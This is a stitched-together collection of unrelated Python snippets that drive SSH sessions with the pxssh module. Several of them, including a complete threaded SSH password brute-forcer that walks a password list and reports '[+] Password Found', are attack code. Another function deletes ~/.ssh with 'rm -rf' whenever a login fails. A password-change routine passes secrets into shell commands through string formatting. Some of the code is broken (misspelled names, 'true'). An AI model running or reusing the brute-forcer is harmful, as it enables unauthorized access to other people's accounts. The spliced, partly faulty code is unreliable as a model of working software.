def ssh_open(ui, host, username, password = '', force_password = True, filter=None): #import StringIO #log = StringIO.StringIO() import sys if filter is None: filter = [(password, ui._ctext('blue', '<PASSWORD>'))] log = filteringIOProxy(sys.stdout, filter) pxssh.pxssh.synch_original_prompt = replace_synch_original_prompt pxssh.pxssh.login = replace_pxssh_login s = pxssh.pxssh() # pxssh obviousely has never dealt with zsh and it's attempt to make the # prompt more unique will put a \ in the prompt that it doesn't expect, this # regexp optionally matches that \: s.PROMPT = "\[PEXPECT\]\\\\?[\$\#] " # TODO: Want both logging to the same StringIO, but _send passing through the filtering proxy s.logfile_read = sys.stdout s.logfile_send = log s.force_password = force_password try: s.login(host, username, password, original_prompt=r"[#$>] ", login_timeout=30) s.sendline(r'echo $((6*7))') # No Golgafrinchans in this universe s.expect(['42']) # Ensures that echo back will not trigger false match except pxssh.ExceptionPxssh as e: raise LoginFailure(str(e)) except pexpect.EOF as e: raise LoginFailure('EOF: Check the hostname') except pexpect.TIMEOUT as e: raise LoginFailure('Timeout: Check the network') #finally: # print log return s
def Fork_2(*PassF): #登陆变慢,而且也不能知道 AllInfo = GetPass(PassF[0]) #获取主机用户信息及root权限 Comuser = AllInfo[0] Compass = PyLogin.MyCrypt('decode', AllInfo[1]) Spasswd = PyLogin.MyCrypt('decode', AllInfo[2]) Logger = MyLogger.MyLogger('ModPass.log','ModPass') try: if Comuser != 'root': ssh = pxssh.pxssh() ssh.login(PassF[0],Comuser,Compass,original_prompt='[\$#>?]') ssh.sendline('export LC_ALL=zh_CN.UTF-8') #设置字符集 ssh.prompt(timeout=5) ssh.sendline('su - root') ssh.prompt(timeout=5) ssh.sendline(Spasswd) ssh.prompt(timeout=3) ssh.sendline('echo "%s"|passwd %s --stdin' % (PassF[2],PassF[1])) ssh.sendline('echo "%s"|passwd root --stdin' % (PassF[3])) ssh.prompt(timeout=3) content = ssh.before Logger.Logger(content) updateDB(PassF) print '--- %s update password success ---' % PassF[0] except Exception,e: Logger.Logger(e) print '--- %s update password failure ---' % PassF[0]
def connect(host, user, password): try: s = pxssh.pxssh() s.login(host, user, password) print '[+] Password Found: ' + password + ' on: '+host except Exception, e: print 'Login failed on:'+host
def run(self): try: # Defer import since most people won't want to use this executor # and I don't want it to be required to use gsh. import pxssh ssh = pxssh.pxssh() ssh.force_password = True ssh.login(self.executor.hostname, self.executor.parent.username, self.executor.parent.password) command = " ".join(self.executor.command) num_commands = command.count("\n") + 1 num_prompts = 0 ssh.sendline(command) # We have to block for some amount of time to wait for the data to be transfered. while True: if num_prompts >= num_commands: break num_prompts += 1 ssh.prompt() for line in ssh.before.splitlines()[1:]: if not line: continue self.executor.update(self.executor.hostname, "stdout", line) ssh.logout() except pxssh.ExceptionPxssh, err: self.executor.update(self.executor.hostname, "stderr", "GSH: Failed to login: %s" % err) self.executor.rv = 1 return
def tcpdump_command(user,ip,password,command): try: #为ssh命令生成一个pxssh类的对象 child = pxssh.pxssh() #利用 pxssh 类的 login 方法进行 ssh 登录,\ # 原始 prompt 为'$' , '#',这里加入'>' child.login(ip,user,password,original_prompt='[#$>]') #发送命令 child.sendline(command) #抓取时间120s time.sleep(120) #输入Ctrl+c停止tcpdump child.sendcontrol('c') #匹配 prompt,即匹配最后出现的字符串有'#$>' child.prompt() #result = child.before # 退出 ssh session child.logout() # 将 prompt 前所有内容返回给函数,即命令的执行结果 #return result #异常打印原因并删除public key except pxssh.ExceptionPxssh,e: print "ssh连接失败,正在重启进程",str(e) subprocess.call("rm -rf ~/.ssh",shell=True)
def connect(host, user, password, release): global Found global Fails try: #Test if password is valid s = pxssh.pxssh() s.login(host, user, password) print '[+] Password Found: ' + password Found = True except Exception, e: #maxed out the number of connections if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False)
def login(self): try: self.s = pxssh.pxssh() self.s.login(self.edge.address, self.user, self.password) except pxssh.ExceptionPxssh as e: print("pxssh failed on login.") print(e)
def connect(host, user, password, release): global Found global Fails try: s = pxssh.pxssh() s.login(host, user, password) print('{+] Password Found : ' + password) Found = true except Exception as e: if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(5) connect(host, user, password, False) finally: if release: connection_lock.release() def main(): parser = optparse.Optionparser( 'usage=%prog-H <target host> -u <user> -F <password list>') parser.add_option('-H', dest="tgtHost", type="string", help='Specify target host') parser.add_option('-F', dest="passwrdFile", type="string", help='Specify password file') parser.add_option('-u', dest="user", type="string", help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwrdFile = options.passwrdFile user = options.user if host == None or passwrdFile == None or user == None: print(parser.usage) exit(0) fn = open(passwrdFile, 'r') for line in fn.readlines(): if Found: print('[*} Exisitng: password found') exit(0) if Fails > 5: print('[!] Exisiting: Too many socket timeouts') exit(0) connection_lock.acquire() password = line.strip('\r').strip('\n') print('[-] testing : ' + str(password)) t = thread(target=connect, args=(host, user, password, True)) child = t.start() if __name__ == '__main__': main()
def connect(self): try: s=pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception, e: print "[-] ", e time.sleep(1)
def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] Error Connecting')